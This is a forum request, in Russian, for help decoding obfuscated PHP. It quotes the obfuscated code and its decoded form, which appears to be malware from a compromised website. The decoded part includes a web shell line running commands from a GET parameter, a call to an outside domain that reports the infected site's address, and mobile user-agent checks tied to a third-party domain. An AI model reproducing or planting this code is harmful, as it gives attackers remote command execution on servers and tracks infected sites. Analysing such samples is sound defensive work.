Помогите расшифровать gzuncompress(base64_decode)

<?php function _156110316($i) {

    $a = Array('aH' . 'Rkc2xseGRtYmZoZ' . 'Q==', '' . 'bXZ' . 'heg==', 'SF' . 'RUUF9VU0VSX0F' . 'H' . 'RU5U', 'aVBob25l', 'SFRU' . 'UF9VU0VSX0' . 'FHRU5U', 'aV' . 'BvZA=' . '=', 'SFRUUF9VU0VSX0FHRU5' . 'U', 'a' . 'VBhZA' . '==', '' . 'SFRUU' . 'F9' . 'V' . 'U' . '0VSX0FHR' . 'U5U', 'QW5k' . 'c' . 'm9pZA=' . '=', 'SFRUUF' . '9VU0VS' . 'X0F' . 'HRU5U', 'd2V' . 'i' . 'T1M=', 'SF' . 'R' . 'UUF' . '9' . 'VU0VSX0FHR' . 'U' . '5U', '' . 'Q' . 'm' . 'xhY' . '2tCZXJy' . 'eQ==', 'Z20=', 'SFR' . 'UUF9VU' . '0' . 'VS' . 'X0FHRU' . '5U', '' . 'TW9ia' . 'Wxl', 'S' . 'FR' . 'UUF9VU0' . 'VSX0FHRU5U', 'U3' . 'ltYmlhbg==', 'c2l2' . 'ZmpnaGRwb' . '2RrcWN0', 'Y3h6', 'S' . 'FRUU' . 'F9VU' . '0VSX' . '0FHRU5' . 'U', 'T' . '3B' . 'lc' . 'mEgTQ=' . '=', '' . 'd2tsYnBw' . 'cHRmYW' . 'h' . 'jZHhtZ' . 'w==', '' . 'bmFkeg==', 'SF' . 'R' . 'U' . 'UF' . '9VU0VSX' . '0FHRU' . '5U', 'SFRDXw=' . '=', 'SFR' . 'U' . 'UF' . '9VU' . '0' . 'VSX0' . 'FHRU' . '5U', 'RmVu' . 'bmV' . 'jLw==', 'SFRUUF9VU0V' . 'SX' . '0FH' . 'RU5' . 'U', 'V2luZG' . '9' . '3c1' . 'Bob2' . '5' . 'l', 'SFRUUF9VU0VSX0FHRU' . '5U', 'V1A' . '3', '' . 'SFR' . 'UU' . 'F' . '9VU0' . 'VS' . 'X0FHRU5U', 'V' . '1' . 'A4', '' . 'Y' . '21kZm9' . 'ybw==', 'Y2' . '9t', 'Ly8' . '=', 'Lg=' . '=', 'Lw==', 'VEh' . 'FTVM=', 'cGRhX' . '2xvdHVz', '', '' . 'c' . 'GR' . 'hX2' . 'x' . 'vd' . 'HVz', 'dGhl' . 'bWVfcG' . 'M' . '=', 'dGhlb' . 'WV' . 'fcGM=', 'cGRh' . 'X' . '2xvd' . 'H' . 'V' . 'z', 'cGRhX2xvd' . 'HVz', 'dGhlb' . 'WVfc' . 'G' . 'M=', 'd' . 'GhlbWVfcGM=');

    return base64_decode($a[$i]);

}

$_1 = $GLOBALS['_842778118_'][4]($_SERVER[_156110316(2) ], _156110316(3));

(round(0 + 866) - round(0 + 866) + round(0 + 452.6 + 452.6 + 452.6 + 452.6 + 452.6) - round(0 + 565.75 + 565.75 + 565.75 + 565.75)) ? $GLOBALS['_842778118_'][5]($_2, $_3) : $GLOBALS['_842778118_'][6](round(0 + 173.2 + 173.2 + 173.2 + 173.2 + 173.2), round(0 + 647 + 647 + 647 + 647));

$_4 = $GLOBALS['_842778118_'][7]($_SERVER[_156110316(4) ], _156110316(5));

$_5 = $GLOBALS['_842778118_'][8]($_SERVER[_156110316(6) ], _156110316(7));

$_2 = $GLOBALS['_842778118_'][9]($_SERVER[_156110316(8) ], _156110316(9));

if ((round(0 + 521.33333333333 + 521.33333333333 + 521.33333333333) + round(0 + 783.4 + 783.4 + 783.4 + 783.4 + 783.4)) > round(0 + 1564) || $GLOBALS['_842778118_'][10]($_6, $_7));

else {

    $GLOBALS['_842778118_'][11]($_0, $_8, $_9);

}

$_10 = $GLOBALS['_842778118_'][12]($_SERVER[_156110316(10) ], _156110316(11));

if ((round(0 + 1673 + 1673) + round(0 + 901 + 901 + 901 + 901)) > round(0 + 3346) || $GLOBALS['_842778118_'][13]($_7));

else {

    $GLOBALS['_842778118_'][14]($_11, $_11, $_11, $_GET, $_8);

}

$_3 = $GLOBALS['_842778118_'][15]($_SERVER[_156110316(12) ], _156110316(13));

$_12 = _156110316(14);

$_9 = $GLOBALS['_842778118_'][16]($_SERVER[_156110316(15) ], _156110316(16));

$_6 = $GLOBALS['_842778118_'][17]($_SERVER[_156110316(17) ], _156110316(18));

if ($GLOBALS['_842778118_'][18](_156110316(19), _156110316(20)) !== false) $GLOBALS['_842778118_'][19]($_11, $_13);

$_14 = $GLOBALS['_842778118_'][20]($_SERVER[_156110316(21) ], _156110316(22));

if ($GLOBALS['_842778118_'][21](_156110316(23), _156110316(24)) !== false) $GLOBALS['_842778118_'][22]($_3, $_9, $_15);

$_15 = $GLOBALS['_842778118_'][23]($_SERVER[_156110316(25) ], _156110316(26));

$_11 = $GLOBALS['_842778118_'][24]($_SERVER[_156110316(27) ], _156110316(28));

$_16 = $GLOBALS['_842778118_'][25]($_SERVER[_156110316(29) ], _156110316(30));

if ((round(0 + 2129.5 + 2129.5) ^ round(0 + 4259)) && $GLOBALS['_842778118_'][26]($_15, $_0, $_5, $_6)) $GLOBALS['_842778118_'][27]($_5, $_8, $_13);

$_7 = $GLOBALS['_842778118_'][28]($_SERVER[_156110316(31) ], _156110316(32));

if (round(0 + 688.8 + 688.8 + 688.8 + 688.8 + 688.8) < $GLOBALS['_842778118_'][29](round(0 + 496 + 496), round(0 + 2447))) $GLOBALS['_842778118_'][30]($_10, $_14, $_1, $_COOKIE);

$_13 = $GLOBALS['_842778118_'][31]($_SERVER[_156110316(33) ], _156110316(34));

$_8 = _156110316(35);

$_17 = _156110316(36);

while (round(0 + 1239.5 + 1239.5) - round(0 + 619.75 + 619.75 + 619.75 + 619.75)) $GLOBALS['_842778118_'][32]($_10);

$_18 = _156110316(37) . $_8 . _156110316(38) . $_17 . _156110316(39);

$GLOBALS['_842778118_'][33](_156110316(40), $_18);

if ($_5 || $_1 || $_2 || $_10 || $_4 || $_3 || $_9 || $_6 || $_14 || $_15 || $_11 || $_16 || $_7 || $_13 === true) {

    if ($_COOKIE[_156110316(41) ] == _156110316(42) || $_COOKIE[_156110316(43) ] == round(0)) {

        $GLOBALS['_842778118_'][34](_156110316(44), false);

    } else {

        $GLOBALS['_842778118_'][35](_156110316(45), true);

    }

} else {

    if ($_COOKIE[_156110316(46) ] == null || $_COOKIE[_156110316(47) ] == round(0 + 1)) {

        $GLOBALS['_842778118_'][36](_156110316(48), true);

    } else {

        $GLOBALS['_842778118_'][37](_156110316(49), false);

    }

}

https://www.unphp.net/decode/7e2074b54dd9ec9184c33edcba26d39a/

@system($_GET[cmd]);



$_0=$_SERVER[SERVER_NAME] .$_SERVER[PHP_SELF];

@file_get_contents("http://bp-shkolaremonta.ru/wp-includes/pomo/log/get.php?q=$_0");





$_1  = strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone');

$_4  = strpos($_SERVER['HTTP_USER_AGENT'], 'iPod');

$_5  = strpos($_SERVER['HTTP_USER_AGENT'], 'iPad');

$_2  = strpos($_SERVER['HTTP_USER_AGENT'], 'Android');

$_10 = strpos($_SERVER['HTTP_USER_AGENT'], 'webOS');

$_3  = strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry');

$_12 = 'gm';

$_9  = strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile');

$_6  = strpos($_SERVER['HTTP_USER_AGENT'], 'Symbian');

$_14 = strpos($_SERVER['HTTP_USER_AGENT'], 'Opera M');

$_15 = strpos($_SERVER['HTTP_USER_AGENT'], 'HTC_');

$_11 = strpos($_SERVER['HTTP_USER_AGENT'], 'Fennec/');

$_16 = strpos($_SERVER['HTTP_USER_AGENT'], 'WindowsPhone');

$_7  = strpos($_SERVER['HTTP_USER_AGENT'], 'WP7');

$_13 = strpos($_SERVER['HTTP_USER_AGENT'], 'WP8');

$_8  = 'cmdforo';

$_17 = 'com';



$_18 = '//' . $_8 . '.' . $_17 . '/';

define('THEMS', $_18);

if ($_5 || $_1 || $_2 || $_10 || $_4 || $_3 || $_9 || $_6 || $_14 || $_15 || $_11 || $_16 || $_7 || $_13 === true) {

    if ($_COOKIE['pda_lotus'] == '' || $_COOKIE['pda_lotus'] == 0) {

        define('theme_pc', false);

    } else {

        define('theme_pc', true);

    }

} else {

    if ($_COOKIE['pda_lotus'] == null || $_COOKIE['pda_lotus'] == 1) {

        define('theme_pc', true);

    } else {

        define('theme_pc', false);

    }

}